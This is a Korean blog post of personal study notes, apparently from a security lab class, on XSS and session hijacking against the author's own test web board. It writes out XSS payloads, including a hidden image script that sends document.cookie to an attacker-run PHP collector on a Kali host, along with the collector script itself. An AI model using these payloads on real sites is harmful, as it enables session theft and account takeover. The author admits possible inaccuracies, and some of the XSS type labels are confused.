2024. 1. 23. 18:26ㆍInformation Security 정보보안/Web Security 웹 보안
배울내용:
XSS
Session Hijacking
쿠키를 통한 세션탈취
세션 하이제킹
reflect XSS
stored XSS
스크립트 공격
세션공격
세션탈취
kali로 세션탈취공격
Cross Site Scripting Attack
제가 지금 부터 작성하는 모든글은 제가 공부기록용이기 때문에 정확하지 않을수 있음을 알려드립니다.
틀린게 있으면 댓글로 써주시면 고치겠습니다.
XSS 공격 (Cross Site Scripting Attack )
자바 스크립트 등을 써서 공격자가 의도한대로 사용자를 유도하는 공격
먼저 이전에 만든 홈페이지로 먼저 간다
만약 아직 안만들었다면
홈페이지 만드는것은 아래의 링크로 가보자 (그냥 VM 다운만해도됨)
https://sarimus.tistory.com/53
#1 경고창 [경고문 띄우기]
<script> alert("안녕하세요")</script>
<script> alert(document.cookie)</script>
위에것을
게시판에 등록해주고 글을 확인하려고 보면
쿠키값이 나오는걸 볼수있다
12pmv7...94 여기부분을 복사해서 저장해둔뒤에
새로운 창을열어
이번에는 로그인이 안된 상태에서
쿠키값을 이용해서 로그인 해볼것이다
이렇게 1개는 로그인 되어있고
1개는 로그인이 안되어있는걸 볼수있다
그러나 아까 우리가 복사해둔 Session ID 를
로그인 안된 페이지에서 개발자도구에 Cookies 에 있는 곳에 들어가면
Value 라고 있는곳에 붙여넣기 한다음에 F5 를 눌러준다
그러면 이렇게 동일한 계정으로 로그인이 된걸 볼수있다
요약하면
XSS 공격으로 session ID 쿠키값얻은뒤
다른 id 로 192.168.10.100 간뒤에 쿠키값을 바꿔서
로그인하면 기존 id 의 것으로 로그인되는데
이때 회원정보 수정 해버리면 수정되버린다
로그인 정보를 가지고있는 쿠키를 우리는 이러한 javascript 를 이용해서
보이게 만들어서 악용하게 되는것이다
즉
자바스크립트를 써서 공격자가 의도한대로 사용자를 유도하는 공격인
XSS 공격의 하나이다
XSS 공격에는 다양한 종류가 있는데
XSS(Cross Site Scripting) 공격
자바 스크립트 등을 써서 공격자가 의도한대로 사용자를 유도하는 공격
Stored XSS (Persistent XSS , 저장 XSS) ( 게시판같은거 )
웹서버에 악성 스크립트를 영속적으로 저장해 놓는 방법
클라이언트는 저장된 스크립트를 통해서 공격자의 의도대로 실행됨
reflected XSS (반사 XSS)
지정된 파라미터를 사용할 때 발생하는 취약점을 이용하는공격
매개체를 통해서 공격되는 XSS 공격
다른원격지에 있는 호출지로 집어넣으면
공격자가 의도한대로 명령을 실행해 저장하는 방법이라생각하면된다
DOM based XSS (문서 객체 모델 - 기반 XSS)
문서내에 있는 태그나 링크들을 클릭하여 전달되는 XSS)
문서안에 http://192.168.10.100 이라는걸 입력하면
192.168.10.100 으로 연결되는것
Universal XSS
브라우저 안에서 실행하는 XSS
url에다가 직접 넣어서 실행
이러한 XSS 공격들이 있고
코드를 사용해서 공격자의 의도대로 사용자를 유도한 것이란걸 알수있다
세션이 뭐고 쿠키가 뭐였지?
#세션
요청자와 서버간에 네트워크 연결이 유지되고 있는 상태 또는 연결창 이자 저장공간
#쿠키
서버측에서 요청자측 상태정보를 저장하고 추출하기 위해 기록두는 메모장
클라이언트 요청시 서버는 쿠키의 세션ID 를 통해 해당 ID의 세션 정보를 전달해줌
이 두개는 정말정말 중요하니 잘 기억 해두도록 하자
너무 길면 이렇게 보면된다
쿠키와 세션의 차이
세션 : 실제 사용자의 연결된 정보
쿠키 : 세션을 받기위한 클라이언트 인식값
XSS(Cross Site Scripting) 공격
1. 클릭시 웹페이지 이동
이제 다시 글작성하기해서
<a href="http://www.naver.com">로또당첨확인 </a>
이렇게 하고 저장 그리고 열어보면
2 그림추가
<img src = "https://media.bunjang.co.kr/product/233392017_1_1692231420_w360.jpg">
3 그림 클릭
<a href="http://www.naver.com"><img src = "https://media.bunjang.co.kr/product/233392017_1_1692231420_w360.jpg"> </a>
4 홈페이지 iframe
<iframe src="https://www.nate.com" width="800" height="800" frameborder="10"></iframe>
5. 유튜브
<iframe width="560" height="315" src="https://www.youtube.com/embed/wl8ndJpS5C8?si=6Ly08RdzzRZqC76J"autoplay;></iframe>
이런식으로 되어있는게 있지만
여기까지는 클릭을 해야지만 넘어간다
Stored XSS
그러나 이렇게 쓰면
<script location.href ="https://www.naver.com"></script>
1번만 클릭해도 naver로 넘어간다
이게 저장 XSS 공격이다
세션 하이재킹 (session hijacking)
Kali 에서 아래의 경로에 getcookie.php 만든뒤에 글작성후 저장해준다
cd /var/www/html
vi getcookie.php
<?php
$fd=fopen("/sevas/cookie.dat","a+") or die ("can't open file");
fputs($fd,$_SERVER['REMOTE_ADDR']."Cookie is {$_GET["cookie"]} \n" );
fclose($fd);
?>
cd /var/www/html
service apache2 restart
mkdir /sevas
chmod 777 /sevas
cd /sevas
url 에 이렇게 (centserver 주소 /getcookie.php) 하면
아래와 같이 나온다
cat cookie.dat 다시하면
이렇게 나온다
그리곤 다시 홈페이지 게시판에 와서
<img name="i" width="0" height="0"> </img> <script> i.src="http://192.168.10.10/getcookie.php?cookie="+document.cookie</script>
이렇게 입력하고 저장하면
이렇게 글내용에 아무것도 안보이게 되는데
Kali에 다시 들어와서 cat cookie.php 하면
이렇게 나온다
그러면 세션정보로 로그인하면
세션 하이제킹을 성공한것이다
그리고 이걸
Reflected XSS 공격 이라고한다
이공격은 약 7 년전까지만해도
네이버 , 페이스북, 구글에 쓰였다 (공격이 먹혔다)
그러면 이걸 방지를 어떻게 해야할까?
쿠키를 통한 세션탈취를 방지하기 위한방법
1 중요한 단계나 사이트갱신시 쿠키를 재갱신하여 이전쿠키로 세션정보를 사용할수 없도록함
2. 중복 로그인 방지 (약한보안, 내가 안쓸때 들어올수있음)
3. 쿠키에 대한 세션 유효시간 설정
4. 로그아웃과 같은 수단 활용 쿠키를 사용후 세션만료를 할수 있도록하여 세션 재사용 불가
결론: 쿠키 재사용 X 해야한다
TMI 로 세션토큰을 써서 보안을 요즘에는 강화했다는데
근래에 취약점이 발견이 되었다고한다
( 이것도 뚫렸단뜻 )
그럼 ~ 오늘 수업한걸 잘 기억하도록 하자
그럼 20000~